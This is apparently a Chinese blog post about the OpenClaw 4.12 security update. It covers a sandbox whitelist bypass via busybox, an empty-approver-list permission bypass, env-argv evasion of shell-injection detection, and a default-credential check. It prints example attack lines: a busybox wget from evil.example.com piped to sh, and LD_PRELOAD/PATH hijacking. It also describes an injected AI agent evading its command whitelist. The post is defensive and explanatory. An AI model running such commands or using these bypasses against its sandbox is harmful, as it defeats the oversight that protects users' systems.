乐于分享
好东西不私藏

同一天堵上三个漏洞:OpenClaw 4.12安全更新全解析

同一天堵上三个漏洞:OpenClaw 4.12安全更新全解析

2026年4月12日,OpenClaw 仓库里出现了三个连续提交。

同一个贡献者,同一天,三个 PR,都是安全修复。

如果你在用 OpenClaw 管理 AI 网关、接入外部工具、处理用户数据,这三个漏洞你必须了解。


漏洞一:busybox/toybox 被当解释器用

原问题:OpenClaw 的 exec 沙箱允许一些「安全的」系统命令运行,但 busybox 和 toybox 是「工具箱」程序,一条命令背后可以做几十件事,包括运行任意 shell 脚本。

风险:如果 AI 被注入恶意指令,可以通过 busybox sh -c "..." 绕过原有的命令白名单,执行任意操作。

修复方式:从「安全命令」白名单中完全移除 busybox 和 toybox。

Bash
# 修复前:这条命令可能被执行
busybox wget http://evil.example.com/payload -O /tmp/x && sh /tmp/x
 
# 修复后:busybox 直接被拦截,不在允许列表

漏洞二:空审批列表绕过权限验证

原问题:某些操作需要「审批者」才能执行。但当审批者列表为空时,系统逻辑判断为「无限制」而不是「无人可审批」,实际上等于绕过了审批机制。

风险:在没有配置审批人的环境中,任何操作都可以不经审批直接执行,等于权限验证形同虚设。

修复方式:空列表现在明确处理为「无授权」,而非「全通过」。

这类「语义歧义」漏洞在权限系统里很常见,空列表到底是「没限制」还是「没权限」——答案应该始终是后者。

漏洞三:shell 包装器检测被绕过

原问题:OpenClaw 有 shell 命令注入检测,但通过 env VAR=value cmd 这种 env-argv 赋值语法,可以修改命令运行环境变量,绕过原有检测规则。

风险:攻击者可以通过环境变量注入改变程序行为,比如修改 PATH、LD_PRELOAD 等,劫持程序执行流。

修复方式:在 shell 包装器检测里加宽了识别范围,把 env KEY=VALUE 赋值形式也纳入拦截范围。

Python
# 现在这类命令会被识别为注入尝试:
env LD_PRELOAD=/tmp/evil.so target_command
env PATH=/tmp:$PATH sensitive_command

另一个值得注意的安全改动:默认密钥检测

4.12 还修复了一个容易被忽视的问题:

如果你把 .env.example 里的示例密钥直接复制到生产环境,OpenClaw 现在启动时会主动报错拒绝启动

Code
ERROR: Gateway credential matches a known public example value.
Please set a unique token in your config before starting.

这避免了「我以为改了但其实没改」的低级失误导致的安全事故。


自查清单:你的部署安全吗?

升级到 4.12 之后,建议检查以下几项:

  • [ ] 运行 openclaw doctor 检查配置问题
  • [ ] 确认 .env 里的 gateway token 是自己生成的,不是示例值
  • [ ] 如果用了审批功能,确认审批者列表不为空
  • [ ] 检查 exec policy:openclaw exec-policy show
Bash
# 新增命令:查看当前 exec 策略
openclaw exec-policy show
 
# 同步 exec 审批策略到本地文件
openclaw exec-policy preset strict

安全不是可选项

很多人觉得「我只是自用,不需要关注安全」。

但当你的 AI 助手接入了邮件、文件、命令行执行权限之后——它能做什么,攻击者通过它也能做什么。

OpenClaw 4.12 在安全上做了认真的工作。升级,是最简单的防护。

升级了吗?遇到什么问题?评论区留言,看到都会回。


一键三连「点赞」「转发」「小心心」,欢迎在评论区留下你的想法!